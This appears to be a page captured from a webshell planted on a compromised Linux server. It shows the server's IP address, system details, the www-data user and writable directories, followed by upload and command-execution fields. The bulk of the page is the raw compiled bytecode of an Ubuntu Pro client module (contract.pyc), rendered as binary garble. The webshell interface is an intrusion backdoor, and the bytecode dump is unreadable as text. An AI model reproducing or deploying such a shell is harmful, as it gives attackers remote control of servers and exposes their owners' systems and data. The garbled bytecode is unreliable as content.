403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/uaclient/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/uaclient/__pycache__/contract.cpython-314.pyc
+
�m�i�����^RIt^RIt^RIt^RIHt^RIHtHtHtH	t	H
t
^RIHuH
t^RIHtHtHtHtHtHtHtHtHt^RIHt^RIHt^RIHt^RIH t ^R	I!H"t"H#t#^R
I$H%t%^RI&H't'Rt(R
t)R
t*Rt+Rt,Rt-Rt.Rt/Rt0Rt1Rt2Rt3R^R^R^R^/t4]Pj!4t6]Pn!]Pp!]944t:]!RRR.4t;!RR]Px4t=!RR]%P|4t?RR lt@R5R!R"lltAR6R#R$lltBR%R&ltCR7R'R(lltDR)R*ltER+R,ltFR-R.ltGR8R/R0lltHR9R1R2lltIR3R4ltJR#):�N)�
namedtuple)�Any�Dict�List�Optional�Tuple)	�
data_types�event_logger�
exceptions�http�messages�secret_manager�system�util�version)�_enabled_services)�_is_attached��UAConfig)�ATTACH_FAIL_DATE_FORMAT)�attachment_data_file�machine_id_file)�
serviceclient)�get_user_or_root_log_file_pathz/v1/context/machines/tokenz3/v1/contracts/{contract}/context/machines/{machine}z
/v1/resourcesz3/v1/resources/{resource}/context/machines/{machine}z/v1/clouds/{cloud_type}/tokenz3/v1/contracts/{contract}/machine-activity/{machine}z/v1/contractz/v1/magic-attachz?/v1/contracts/{contract}/context/machines/{machine}/guest-token�series_overrides�series�cloud�variant�EnableByDefaultService�namec�a�]tRt^Fto]P
!R]PRR7]P
!R]PRR7]P
!R]PRR7]P
!R]PRR7]P
!R]PRR7]P
!R]PRR7]P
!R	]PRR7]P
!R
]PRR7]P
!R]PRR7]P
!R]PRR7]P
!R
]PRR7]P
!R]PRR7]P
!R]PRR7]P
!R]PRR7.tRV3RlRlltRt	Vt
R#)�CPUTypeData�cpuinfo_cpuF)�required�cpuinfo_cpu_architecture�cpuinfo_cpu_family�cpuinfo_cpu_implementer�cpuinfo_cpu_part�cpuinfo_cpu_revision�cpuinfo_cpu_variant�
cpuinfo_model�cpuinfo_model_name�cpuinfo_stepping�cpuinfo_vendor_id�"sys_firmware_devicetree_base_model�
sysinfo_model�sysinfo_typeNc�N<�V^8�dQhRS[S[,RS[S[,RS[S[,RS[S[,RS[S[,RS[S[,RS[S[,RS[S[,R	S[S[,R
S[S[,RS[S[,RS[S[,R
S[S[,RS[S[,/#)�r#r%r&r'r(r)r*r+r,r-r.r/r0r1)r�str)�format�
__classdict__s"��3/usr/lib/python3/dist-packages/uaclient/contract.py�__annotate__�CPUTypeData.__annotate__zs���� )� )��c�]� )�#+�3�-� )�%�S�M�	 )�
"*�#�� )�#�3�-�
 )�'�s�m� )�&�c�]� )� ��}� )�%�S�M� )�#�3�-� )�$�C�=� )�-5�S�M� )� ��}� )��s�m� )�c��WnW nW0nW@nWPnW`nWpnW�nW�nW�n	W�n
VVnW�nW�n
R#�N�r#r%r&r'r(r)r*r+r,r-r.r/r0r1)�selfr#r%r&r'r(r)r*r+r,r-r.r/r0r1s&&&&&&&&&&&&&&&r7�__init__�CPUTypeData.__init__zs_��"'��(@�%�"4��'>�$� 0��$8�!�#6� �*��"4�� 0��!2��.�	
�/�+��(�r:r=)NNNNNNNNNNNNNN)�__name__�
__module__�__qualname__�__firstlineno__r	�Field�StringDataValue�fieldsr?�__static_attributes__�__classdictcell__)r6s@r7r"r"Fs���������:�5�5��	
�	���&��&�&��	
�
	��� �*�"<�"<�u�	
�	���%��&�&��	
�
	����
� :� :�U�	
�	���"�J�$>�$>��	
�	���!�:�#=�#=��	
�	����Z�7�7�%�	
�	��� �*�"<�"<�u�	
�	����
� :� :�U�	
�	�����!;�!;�e�	
�	���0��&�&��	
�
	����Z�7�7�%�	
�	����J�6�6��	
�]1�F�f )� )� )r:r"c�aa�]tRt^�toRtRV3RlV3Rlllt]P!]P.ROR7RRl4t
V3RlRltV3RlR	lt]P!]P.ROR7V3R
lRl4t
RV3RlR
lltRtV3RlRltV3RlRltV3RlRltRV3RlRlltRV3RlRlltV3RlRltRtRtVtV;t#)�UAContractClient�contract_urlc�4<�V^8�dQhRS[S[,RR/#)r3�cfg�returnN)rr)r5r6s"�r7r8�UAContractClient.__annotate__�s$���?�?�
�h�
�?�
�?r:c�\<�\SV`VR7\P!4VnR#)�rNN)�superr?�mtf�get_machine_token_file�machine_token_file)r>rN�	__class__s&&�r7r?�UAContractClient.__init__�s&���	���S��!�"%�"<�"<�">��r:)�retry_sleepsc�^�V'g!\P!VP4pVP4pVP	RRPV4/4VP
4pVP4VR&RVRV/p\V4pVP\WtR7pVPR8Xd\P!4hVPR8Xd\V4VP^�8wd2\P!\VPVP R	7hVP"p	\$P&P)V	P+R
R44V	P+R.4F2p
\$P&P)V
P+R
R44K4	V	#)aMRequests machine attach to the provided machine_id.

@param contract_token: Token string providing authentication to
    ContractBearer service endpoint.
@param machine_id: Optional unique system machine id. When absent,
    contents of /etc/machine-id will be used.

@return: Dict of the JSON response containing the machine-token.
�
Authorization�	Bearer {}�lastAttachment�	machineId�activityInfo)�data�headers�i���url�code�body�machineToken��resourceTokens�token)r�get_machine_idrNra�updater5�_get_activity_info�	isoformat�_support_old_machine_info�request_url�API_V1_ADD_CONTRACT_MACHINErer�AttachInvalidTokenError�_raise_attach_forbidden_message�ContractAPIErrorrf�	json_dictr�secrets�
add_secret�get)r>�contract_token�
attachment_dt�
machine_idra�
activity_infor`�backcompat_data�response�
response_jsonrjs&&&&       r7�add_contract_machine�%UAContractClient.add_contract_machine�sg����.�.�t�x�x�8�J��,�,�.�������);�);�N�)K�L�M��/�/�1�
�*7�*A�*A�*C�
�&�'��Z���G��3�D�9���#�#�'�o�$�
���=�=�C���4�4�6�6�
�]�]�c�
!�+�H�5��=�=�C���-�-�/��]�]��]�]��
�
!�*�*�
����)�)����n�b�1�	
�#�&�&�'7��<�E��"�"�-�-�e�i�i���.D�E�=��r:c�6<�V^8�dQhRS[S[S[3,/#�r3rO�rr4r)r5r6s"�r7r8rP�s���"�"�T�#�s�(�^�"r:c�4�VP4pVP\RVR,RVR,RVR,RVR,/R7pVP^�8wd2\P
!\VPVPR7hVP#)z=Requests list of entitlements available to this machine type.�architecturer�kernel�virt)�query_paramsrc)rmrp�API_V1_AVAILABLE_RESOURCESrerrtrfru)r>r|r~s&  r7�available_resources�$UAContractClient.available_resources�s����/�/�1�
��#�#�&��
�n� =��-��1��-��1��
�f�-�	�$�
���=�=�C���-�-�.��]�]��]�]��
�
�!�!�!r:c�<<�V^8�dQhRS[RS[S[S[3,/#)r3ryrO�r4rr)r5r6s"�r7r8rP�s#���"�"�s�"�t�C��H�~�"r:c�0�VP4pVPRRPV4/4VP\VR7pVP
^�8wd2\P!\VP
VPR7hVP#)r[r\�rarc)
rarlr5rp�API_V1_GET_CONTRACT_USING_TOKENrerrtrfru)r>ryrar~s&&  r7�get_contract_using_token�)UAContractClient.get_contract_using_token�s����,�,�.�������);�);�N�)K�L�M��#�#�+�W�$�
���=�=�C���-�-�3��]�]��]�]��
�
�!�!�!r:c�<<�V^8�dQhRS[RS[S[S[3,/#)r3�
cloud_typer`r�)r5r6s"�r7r8rP�s%����� ��(,�S�#�X��r:c���VP\PVR7VR7pVP^�8wd�VPPRR4pV'd-\PV4\P!VR7h\P!\VPVPR7hVPp\PPVPRR44V#)z�Requests contract token for auto-attach images for Pro clouds.

@param instance: AutoAttachCloudInstance for the cloud.

@return: Dict of the JSON response containing the contract-token.
)r�)r`�messagerh)�	error_msgrc�
contractToken)rp�,API_V1_GET_CONTRACT_TOKEN_FOR_CLOUD_INSTANCEr5rerurx�LOG�debugr�InvalidProImagertrfrrvrw)r>r�r`r~�msgrs&$$   r7�%get_contract_token_for_cloud_instance�6UAContractClient.get_contract_token_for_cloud_instance�s����#�#�8�?�?�%�
@�
��	$�
���=�=�C���$�$�(�(��B�7�C���	�	�#�� �0�0�3�?�?��-�-�@��]�]��]�]��
�!�*�*�
����)�)����o�r�2�	
��r:c
�X<�V^8�dQhRS[RS[RS[S[,RS[S[S[3,/#)r3�
machine_token�resourcer{rO�r4rrr)r5r6s"�r7r8rPs?���$�$��$��$��S�M�	$�

�c�3�h��$r:c��V'g!\P!VP4pVP4pVP	RRPV4/4\PW#R7pVPWTR7pVP^�8wd2\P!\VPVPR7hVPPR4'd!VPR,VPR&VPpVPR.4F2p\PP!VPRR	44K4	V#)
avRequests machine access context for a given resource

@param machine_token: The authentication token needed to talk to
    this contract service endpoint.
@param resource: Entitlement name.
@param machine_id: Optional unique system machine id. When absent,
    contents of /etc/machine-id will be used.

@return: Dict of the JSON response containing entitlement accessInfo.
r[r\)r��machiner�rc�expiresrirjrh)rrkrNrarlr5�"API_V1_GET_RESOURCE_MACHINE_ACCESSrprerrtrfrxrurrvrw)	r>r�r�r{rardr~rrjs	&&&&     r7�get_resource_machine_access�,UAContractClient.get_resource_machine_accesss�� ��.�.�t�x�x�8�J��,�,�.�������);�);�M�)J�K�L�0�7�7��8�
���#�#�C�#�9���=�=�C���-�-�6��]�]��]�]��
�
�����	�*�*�,4�,<�,<�Y�,G�H���y�)� �*�*�
�"�&�&�'7��<�E��"�"�-�-�e�i�i���.D�E�=��r:c��VPPpVPPPR4p\P
!VP4pVP4p\PWR7pVP4pVPRRPV4/4VPWVVR7pVP^�8wd-\P!WWPVP R7hVP"'dCVPPpVP"VR&VPP%V4R#R#)	z�Report current activity token and enabled services.

This will report to the contracts backend all the current
enabled services in the system.
rg��contractr�r[r\)rar`rcr_N)rV�contract_idr�rxrrkrNrm�API_V1_UPDATE_ACTIVITY_TOKENr5rarlrprerrtrfru�write)r>r�r�r{�request_datardrar~s&       r7�update_activity_token�&UAContractClient.update_activity_token;s$���-�-�9�9���/�/�=�=�A�A��
�
��*�*�4�8�8�4�
��.�.�0��*�1�1� �2�
���,�,�.�������);�);�M�)J�K�L��#�#�C�|�#�L���=�=�C���-�-��m�m�(�-�-��
����� �3�3�A�A�M�-5�,>�,>�M�.�)��#�#�)�)�-�8�r:c�<<�V^8�dQhRS[RS[S[S[3,/#)r3�magic_tokenrOr�)r5r6s"�r7r8rPcs#�����s��t�C��H�~�r:c�D�VP4pVPRRPV4/4VP\VR7pVP
R8Xd\P!4hVP
R8Xd\P!4hVP
^�8wd2\P!\VP
VPR7hVPp.ROpVF2p\PPVPVR44K4	V#)	z�Request magic attach token info.

When the magic token is registered, it will contain new fields
that will allow us to know that the attach process can proceed
r[r\r�rb�rcrh�rj�userCoder�)rarlr5rp�"API_V1_GET_MAGIC_ATTACH_TOKEN_INFOrer�MagicAttachTokenError�MagicAttachUnavailablertrfrurrvrwrx)r>r�rar~r�
secret_fields�fields&&     r7�get_magic_attach_token_info�,UAContractClient.get_magic_attach_token_infocs����,�,�.�������);�);�K�)H�I�J��#�#�.��$�
���=�=�C���2�2�4�4��=�=�C���3�3�5�5��=�=�C���-�-�6��]�]��]�]��
�
!�*�*�
�>�
�"�E��"�"�-�-�m�.?�.?��r�.J�K�#��r:c�6<�V^8�dQhRS[S[S[3,/#r�r�)r5r6s"�r7r8rPs������S�#�X��r:c��VP4pVP\VRR7pVPR8Xd\P
!4hVP^�8wd2\P!\VPVPR7hVPp.ROpVF2p\PPVPVR44K4	V#)z)Create a magic attach token for the user.�POST�ra�methodr�rcrhr�)
rarp�API_V1_NEW_MAGIC_ATTACHrerr�rtrfrurrvrwrx)r>rar~rr�r�s&     r7�new_magic_attach_token�'UAContractClient.new_magic_attach_tokens����,�,�.���#�#�#���$�
���=�=�C���3�3�5�5��=�=�C���-�-�+��]�]��]�]��
�
!�*�*�
�>�
�"�E��"�"�-�-�m�.?�.?��r�.J�K�#��r:c� <�V^8�dQhRS[/#)r3r�)r4)r5r6s"�r7r8rP�s�����S�r:c��VP4pVPRRPV4/4VP\VRR7pVP
R8Xd\P!4hVP
R8Xd\P!4hVP
R8Xd\P!4hVP
^�8wd2\P!\VP
VPR7hR	#)
z)Revoke a magic attach token for the user.r[r\�DELETEr��rbr�rcN)rarlr5rp�API_V1_REVOKE_MAGIC_ATTACHrer� MagicAttachTokenAlreadyActivatedr�r�rtrf)r>r�rar~s&&  r7�revoke_magic_attach_token�*UAContractClient.revoke_magic_attach_token�s����,�,�.�������);�);�K�)H�I�J��#�#�&���$�
���=�=�C���=�=�?�?��=�=�C���2�2�4�4��=�=�C���3�3�5�5��=�=�C���-�-�.��]�]��]�]��
� r:c
�X<�V^8�dQhRS[RS[RS[S[,RS[S[S[3,/#�r3r�r�r{rOr�)r5r6s"�r7r8rP�s?���)"�)"��)"��)"��S�M�	)"�

�c�3�h��)"r:c��V'g!\P!VP4pVP4pVP	RRPV4/4\PVVR7pVP4pVPVRVRVR,RVR,RVR,RVR,/R	7pVP^�8wd-\P!WWPVPR
7hVPPR4'd!VPR,VPR&VP#)aLGet the updated machine token from the contract server.

@param machine_token: The machine token needed to talk to
    this contract service endpoint.
@param contract_id: Unique contract id provided by contract service
@param machine_id: Optional unique system machine id. When absent,
    contents of /etc/machine-id will be used.
r[r\r��GETr�rr�r�)r�rar�rcr�)rrkrNrarlr5�API_V1_GET_CONTRACT_MACHINErmrprerrtrfrxru)r>r�r�r{rardr|r~s&&&&    r7�get_contract_machine�%UAContractClient.get_contract_machine�s&����.�.�t�x�x�8�J��,�,�.�������);�);�M�)J�K�L�)�0�0� ��1�
���/�/�1�
��#�#�����
�n� =��-��1��-��1��
�f�-�	�	$�

���=�=�C���-�-��m�m�(�-�-��
������	�*�*�,4�,<�,<�Y�,G�H���y�)��!�!�!r:c�B<�V^8�dQhRS[RS[RS[S[,RS[/#r�)r4rr)r5r6s"�r7r8rP�s7���&"�&"��&"��&"��S�M�	&"�

�&"r:c�\�V'g!\P!VP4pVP4pVP	RRPV4/4RVRVP
4/p\V4p\PW#R7pVPWtRVR7pVP^�8wd-\P!WxPVPR7hVPPR	4'd!VPR	,VPR	&VP#)
a�Request machine token refresh from contract server.

@param machine_token: The machine token needed to talk to
    this contract service endpoint.
@param contract_id: Unique contract id provided by contract service.
@param machine_id: Optional unique system machine id. When absent,
    contents of /etc/machine-id will be used.

@return: Dict of the JSON response containing refreshed machine-token
r[r\r^r_r�r�)rar�r`rcr�)rrkrNrarlr5rmro�API_V1_UPDATE_CONTRACT_MACHINErprerrtrfrxru)	r>r�r�r{rar`r}rdr~s	&&&&     r7�update_contract_machine�(UAContractClient.update_contract_machine�s�� ��.�.�t�x�x�8�J��,�,�.�������);�);�M�)J�K�L����D�3�3�5�
��4�D�9��,�3�3� �4�
���#�#���o�$�
���=�=�C���-�-��m�m�(�-�-��
������	�*�*�,4�,<�,<�Y�,G�H���y�)��!�!�!r:c�2<�V^8�dQhRS[RS[RS[RS[/#r�)r4r)r5r6s"�r7r8rPs3���!"�!"��!"��!"��	!"�

�!"r:c��VP4pVPRRPV4/4\PVVR7pVP	WTRR7pVP
R8Xd\P!RR7hVP
^�8wd.\P!VVP
VPR	7hVP#)
ayRequest guest token associated with this machine's contract
@param machine_token: The machine token needed to talk to
    this contract service endpoint.
@param contract_id: Unique contract id provided by contract service
@param machine_id: Unique machine id that was registered with the pro
    backend on attach.
@return: Dict of the JSON response containing the guest token
r[r\r�r�r�r��get_guest_token)�feature_namerc)rarlr5�API_V1_GET_GUEST_TOKENrprer� FeatureNotSupportedOldTokenErrorrtrfru)r>r�r�r{rardr~s&&&&   r7r�� UAContractClient.get_guest_tokens����,�,�.�������);�);�M�)J�K�L�$�+�+� ��,�
���#�#�C��#�G���=�=�C���=�=�.��
��]�]�c�
!��-�-���]�]��]�]��
�
�!�!�!r:c �v�\P!4pR\P!4PR\P!4P
R\P!4PR\P!4R\P!4R\P!4R\P!4R\VPVPVPVP VP"VP$VP&VP(VP*VP,VP.VP0VP2VP4R	7P7R
R7/p\9VP:4P<'Ed\?VP:4P@p\BPD!4pRVPFPH;'g!\PJ!VP:4R
VPFPLRVUu.uFqUPNNK	upRVUu/uF.pVPP'gKVPNVPRbK0	upRV'dVPTPW4MR/pM/p/VCVC#uupiuupi)z9Return a dict of activity info data for contract requests�distributionr�rr��desktopr��
clientVersion�cpu_typer=F)�	keep_none�
activityID�
activityToken�	resources�resourceVariantsr]N),r�get_cpu_info�get_release_infor��get_kernel_info�
uname_releaser�
get_dpkg_arch�
is_desktop�
get_virt_typer�get_versionr"r#r%r&r'r(r)r*r+r,r-r.r/r0r1�to_dictrrN�is_attachedr�enabled_servicesr�readrV�activity_idrk�activity_tokenr �variant_enabled�variant_name�attached_atrn)r>�cpuinfo�machine_infor��attachment_data�servicer|s&      r7rm�#UAContractClient._get_activity_info#s>���%�%�'���F�3�3�5�B�B��f�,�,�.�<�<��f�-�-�/�6�6��F�0�0�2��v�(�(�*��F�(�(�*��W�0�0�2���#�/�/�)0�)I�)I�#*�#=�#=�(/�(G�(G�!(�!9�!9�%,�%A�%A�$+�$?�$?�%�3�3�#*�#=�#=�!(�!9�!9�")�";�";�3:�3]�3]�%�3�3�$�1�1���g��g�&�/
��4����!�-�-�-�0����:�K�K��2�7�7�9�O��d�5�5�A�A�3�3��(�(����2���!8�!8�!G�!G��:J�K�:J�w�l�l�:J�K�"�#3�%�#3���.�.�7�G�L�L�'�"6�"6�6�#3�%�
!�&�$�/�/�9�9�;���M�"�M�
��
��
�	
��L��%s�1J1�J6�%J6)rVr<)�r3r3)rArBrCrD�cfg_url_base_attrr?r�retry�socket�timeoutr�r�r�r�r�r�r�r�r�r�r�r�rmrHrI�
__classcell__)rWr6s@@r7rKrK�s�����&��?�?�
�Z�Z����Y�7�(�8�(�T"�"�("�"�
�Z�Z����Y�7��8��@$�$�L&9�P��8��.��.)"�)"�V&"�&"�P!"�!"�F7
�7
r:rKc�$�V^8�dQhR\/#)r3�request_body)�dict)r5s"r7r8r8]s����D�r:c��VPR/4pRVPR4RVRVPR4RRVPR4RVPR4RVPR4RR	R
\P!4P//#)a'
Transforms a request_body that has the new activity_info into a body that
includes both old and new forms of machineInfo/activityInfo

This is necessary because there may be old ua-airgapped contract
servers deployed that we need to support.
This function is used for attach and refresh calls.
r_r^r��osr�r�r�type�Linux�release)rxrr�r)rr|s& r7roro]s���!�$�$�^�R�8�M�	�\�%�%�k�2��
��
�)�)�.�9���M�-�-�n�=��m�'�'��1��m�'�'��1�
�G��v�.�.�0�8�8�
�	
�
r:c��V^8�dQhR\R\\\3,R\\\3,R\R\R\RR/#)	r3rN�past_entitlements�new_entitlements�allow_enabler�verboserON)rrr4r�bool)r5s"r7r8r8xsg��Z
�Z
�	�Z
��C��H�~�Z
��3��8�n�Z
��	Z
�
�Z
��
Z
�
�Z
r:c�H�^RIHpRp.p.p	V!V4F[p
W*,p.p	\TTP	T
/4TTTTR7wr�T
'd"T'd\
P
T
4KYK[K]	\
PV	4\V4^8�dg\P !\#W�4U
Uu.uF9wr�V
\$P&P)\+V4\-4R73NK;	upp
R	7hV'd8\P.!V	U
u.uFp
V
\$P03NK	up
R	7hR# \dEK:i;i \PdLp\PT4RpT	PT
4\PRT
T4Rp?EK�Rp?i\d[p\PT4TPT4T	PT
4\PRT
T4Rp?EK�Rp?ii;iuupp
iuup
i)
a�Iterate over all entitlements in new_entitlement and apply any delta
found according to past_entitlements.

:param cfg: UAConfig instance
:param past_entitlements: dict containing the last valid information
    regarding service entitlements.
:param new_entitlements: dict containing the current information regarding
    service entitlements.
:param allow_enable: Boolean set True if allowed to perform the enable
    operation. When False, a message will be logged to inform the user
    about the recommended enabled service.
:param series_overrides: Boolean set True if series overrides should be
    applied to the new_access dict.
:param verbose: If True, display output to stdout
)�entitlements_enable_orderF)rN�orig_access�
new_accessrrrTz+Failed to process contract delta for %s: %rNz5Unexpected error processing contract delta for %s: %r)r��log_path)�failed_services)�uaclient.entitlementsr�KeyError�process_entitlement_deltarx�event�service_processedr�UbuntuProErrorr��	exception�append�error�	Exception�services_failed�len�AttachFailureUnknownError�zipr
�UNEXPECTED_ERRORr5r4r�AttachFailureDefaultServices�!E_ATTACH_FAILURE_DEFAULT_SERVICES)rNrrrrrr�delta_error�unexpected_errorsrr �new_entitlement�deltas�service_enabled�er$s&&&&&&          r7�process_entitlements_deltar5xs��.@��K����O�)�#�.��	�.�4�O���	.�&?��-�1�1�$��;�*�)�!1��
'�#�F�:�6��'�'��-�$*��K/�N
���/�*�
����!��2�2�(+�?�'N�	�(O�O�D�
��-�-�4�4�"%�i�.�!?�!A�5���(O�	�
�	
�
��5�5�,��+�D��x�A�A�B�+��
�	
�
��e�	��	���(�(�	��M�M�!���K��"�"�4�(��I�I�=���
�
��
�	��M�M�!���$�$�Q�'��"�"�4�(��M�M�G���
�
��		��"	��sG�E�#E�7?H
�H�E�E�H�(?F.�.H�;H�<AH�Hc���V^8�dQhR\R\\\3,R\\\3,R\R\R\R\
\\3,/#)r3rNrrrrrrO)rrr4rrr)r5s"r7r8r8�sg��>�>�	�>��c�3�h��>��S�#�X��>��	>�
�>��
>��4��:��>r:c�X�^RIHpV'd\V4\P!W4pRpV'd�VPR/4PR4p	V	'g"VPR/4PR4p	V	'g\P!WR7hVPR/4PR/4PRR	4p
V!VV	V
R
7pTPYY5R
7pWx3# \Pdp\PRT	4ThRp?ii;i)a&Process a entitlement access dictionary deltas if they exist.

:param cfg: UAConfig instance
:param orig_access: Dict with original entitlement access details before
    contract refresh deltas
:param new_access: Dict with updated entitlement access details after
    contract refresh
:param allow_enable: Boolean set True if allowed to perform the enable
    operation. When False, a message will be logged to inform the user
    about the recommended enabled service.
:param series_overrides: Boolean set True if series overrides should be
    applied to the new_access dict.
:param verbose: If True, display output to stdout

:raise UbuntuProError: on failure to process deltas.
:return: A tuple containing a dict of processed deltas and a
         boolean indicating if the service was fully processed
��entitlement_factoryF�entitlementr)�orig�new�entitlements�obligations�use_selectorrh�rNr rz3Skipping entitlement deltas for "%s". No such classN�rr)rr9�apply_contract_overridesr�get_dict_deltasrxr� InvalidContractDeltasServiceType�EntitlementNotFoundErrorr�r��process_contract_deltas)
rNrrrrrr9r2�retr rr:�excs
&&&&&&       r7r r �s��4:�� ��,�
�
!�
!�+�
:�F�
�C�
����}�b�1�5�5�f�=����:�:�m�R�0�4�4�V�<�D���=�=� ��
�

�N�N�>�2�.�
�S���
#�
�S���
$�	�

	�-�����K��1�1��l�2�
���;����2�2�	��I�I�E�t�
��I��		�s�C7�7D)�D$�$D)c�X�V^8�dQhR\PR\P/#)r3r~rO)r�HTTPResponser
�NamedMessage)r5s"r7r8r8s(��*�*����*�
���*r:c��VPPR4pV'd�VR,pVR,pVR8XdLVR,P\4p\P
!VVVR,PR4R7hVR8XdLVR,P\4p\P!VVVR,PR4R7hVR	8Xd\P!VR
7h\P!4h)�info�
contractId�reasonzno-longer-effective�timez%m-%d-%Y)r��date�contract_expiry_dateznot-effective-yet)r�rQ�contract_effective_dateznever-effective)r�)	rurx�strftimerr�AttachForbiddenExpired�AttachForbiddenNotYet�AttachForbiddenNever�AttachExpiredToken)r~rMr�rOrQs&    r7rsrss������!�!�&�)�D���<�(���h����*�*���<�(�(�)@�A�D��3�3�'��%)�&�\�%:�%:�:�%F�	�
��*�
*���<�(�(�)@�A�D��2�2�'��(,�V��(=�(=�j�(I�	�
��(�
(��1�1�k�J�J�
�
'�
'�
)�)r:c�$�V^8�dQhR\/#)r3rNr)r5s"r7r8r83s��!�!��!r:c��\P!V4pVP4pVPpVR,pVR,R,R,p\	VR7pVPWVR7pVP
V4\PP4VPR/4PR\P!V44p	\P!V	4\VVVP4RVR	7R
#)z�Request contract refresh from ua-contracts service.

:param verbose: If True, display output to stdout

:raise UbuntuProError: on failure to update contract or error processing
    contract deltas
:raise ConnectivityError: On failure during a connection
rg�machineTokenInfo�contractInfo�idrR)r�r�r^FrAN)
rTrUr=r�rKr�r�rrk�cache_clearrxrr5)
rNrrV�orig_entitlements�
orig_tokenr�r��contract_client�respr{s
&&        r7�refreshrc3s����3�3�C�8��*�7�7�9��#�1�1�J��~�.�M��/�0��@��F�K�&�3�/�O��2�2�#�3��D����T�"�
���%�%�'����,�b�1�5�5��V�*�*�3�/��J����*�%�����'�'�)���r:c�F�V^8�dQhR\R\\,/#)r3rNrO)rrr)r5s"r7r8r8Ws��*�*��*�d�4�j�*r:c�\�\V4pVP4pVPR.4#)zDQuery available resources from the contract server for this machine.r�)rKr�rx)rN�clientr�s&  r7�get_available_resourcesrgWs+��
�c�
"�F��*�*�,�I��=�=��b�)�)r:c�^�V^8�dQhR\R\R\\\3,/#)r3rNrjrO)rr4rr)r5s"r7r8r8^s)��2�2�(�2�3�2�4��S��>�2r:c�:�\V4pVPV4#)z/Query contract information for a specific token)rKr�)rNrjrfs&& r7�get_contract_informationrj^s��
�c�
"�F��*�*�5�1�1r:c��V^8�dQhR\\\3,R\\\3,R\/#)r3�override_selector�selector_valuesrO)rr4�int)r5s"r7r8r8ds4��	�	��C��H�~�	�8<�S�#�X��	��	r:c��^pVP4F2wr4W43VP49d^#V\V,,
pK4	V#)r)�items�OVERRIDE_SELECTOR_WEIGHTS)rlrm�override_weight�selector�values&&   r7�_get_override_weightrudsM���O�,�2�2�4�����O�$9�$9�$;�;���4�X�>�>��5�
�r:c���V^8�dQhR\\\3,R\R\R\\,R\\\\\3,3,/#)r3r:�series_namer�rrO)rr4rrrn)r5s"r7r8r8psX�����c�3�h��������c�]�	�

�#�t�C��H�~�
��r:c�R�/pRVRV/pV'dW5R&VPR/4PV/4pV'dVV\R,&\P!VP	R.44pVF,p\VPR4V4p	V	'gK(W�V	&K.	V#)rrrr�	overridesrs)�poprq�copy�deepcopyrxru)
r:rwr�rryrmr�general_overrides�override�weights
&&&&      r7�_select_overridesr�ps����I���g�z�B�O��%,�	�"�"���x��4�8�8��b�I����	�+�,>�?�@��
�
�k�o�o�k�2�&F�G��%��%��L�L��$�o�
���6� (�f��&��r:c��V^8�dQhR\\\3,R\\,R\\,RR/#)r3rrrrON)rr4rr)r5s"r7r8r8�s@��.8�.8��c�3�h��.8��S�M�.8��c�]�.8�
�	.8r:c�4�^RIHp\\V\4RV9.4'g\RP
V44hVf \P!4PMTpV!4wrVVPR/4p\WtWR4p\VP44Fjwr�V
P4FQwr�VR,PV4p
\V
\4'dV
PV4KFW�R,V&KS	Kl	R#)aoApply series-specific overrides to an entitlement dict.

This function mutates orig_access dict by applying any series-overrides to
the top-level keys under 'entitlement'. The series-overrides are sparse
and intended to supplement existing top-level dict values. So, sub-keys
under the top-level directives, obligations and affordance sub-key values
will be preserved if unspecified in series-overrides.

To more clearly indicate that orig_access in memory has already had
the overrides applied, the 'series' key is also removed from the
orig_access dict.

:param orig_access: Dict with original entitlement access details
)�get_cloud_typer:z?Expected entitlement access dict. Missing "entitlement" key: {}N)�uaclient.clouds.identityr��all�
isinstancer�RuntimeErrorr5rr�rrxr��sortedrprl)rrrr�rwr��_�orig_entitlementry�_weight�overrides_to_apply�keyrt�currents&&&           r7rBrB�s���&8��
�;��-�}��/K�L�M�M��
��&��%�
�	
�-3�N����!�(�(���#�$�M�J�"���}�b�9��!��z��I�(.�i�o�o�.?�'@�#��,�2�2�4�J�C�!�-�0�4�4�S�9�G��'�4�(�(����u�%�38�M�*�3�/�5�(Ar:c�t�V^8�dQhR\R\\\3,R\\
,/#)r3rNr=rO)rrr4rrr)r5s"r7r8r8�s2��&�&�	�&�!%�c�3�h��&�	�
 �!�&r:c���^RIHp.pVP4F�wrEVPR/4PRR4pV!WVR7pTPR/4PR/4pTPR4p	TP
Y�4'gK~TP4wr�T
'gK�TP\TTR74K�	V# \P
dK�i;i)	rr8r>r?rhr@r:�
resourceToken)r r)
rr9rprxrrE�_should_enable_by_default�
can_enabler%r)rNr=r9�enable_by_default_services�ent_name�	ent_valuer�entr>r�r�r�s&&          r7�get_enabled_by_default_servicesr��s���:�!#��+�1�1�3����-�-�
�r�2�6�6�~�r�J��	�%�#�g�N�C� �m�m�M�2�6�:�:�=�"�M��!�
�
�o�6�
��(�(��D�D��N�N�,�M�J��z�*�1�1�*�%� '��� 4�*&�%��!�2�2�	��	�s�
C�C.�-C.)TT)FTT)Tr<)NN)Kr{�loggingr�collectionsr�typingrrrrr�uaclient.files.machine_token�filesr�rT�uaclientr	r
rrr
rrrr�-uaclient.api.u.pro.status.enabled_services.v1r�(uaclient.api.u.pro.status.is_attached.v1r�uaclient.configr�uaclient.defaultsr�uaclient.files.state_filesrr�
uaclient.httpr�uaclient.logrrqr�r�r�r�r�r�r�r�r�r�r�rq�get_event_loggerr!�	getLogger�replace_top_level_logger_namerAr�r�
DataObjectr"�UAServiceClientrKror5r rsrcrgrjrur�rBr��r:r7�<module>r�sj����
�"�3�3�*�*�
�
�
�L�A�$�5�L�'�7�;��9��:��-��9�#�0O�,�9��#1��%7�"�,��/��F��
���a��Q�
�q�	��	�%�%�'��
����:�:�8�D�E��$��v�y�1���
T)�*�'�'�T)�n}
�}�4�4�}
�@�6Z
�z>�B*�:!�H*�2�	��:.8�b&r:

Youez - 2016 - github.com/yon3zu
LinuXploit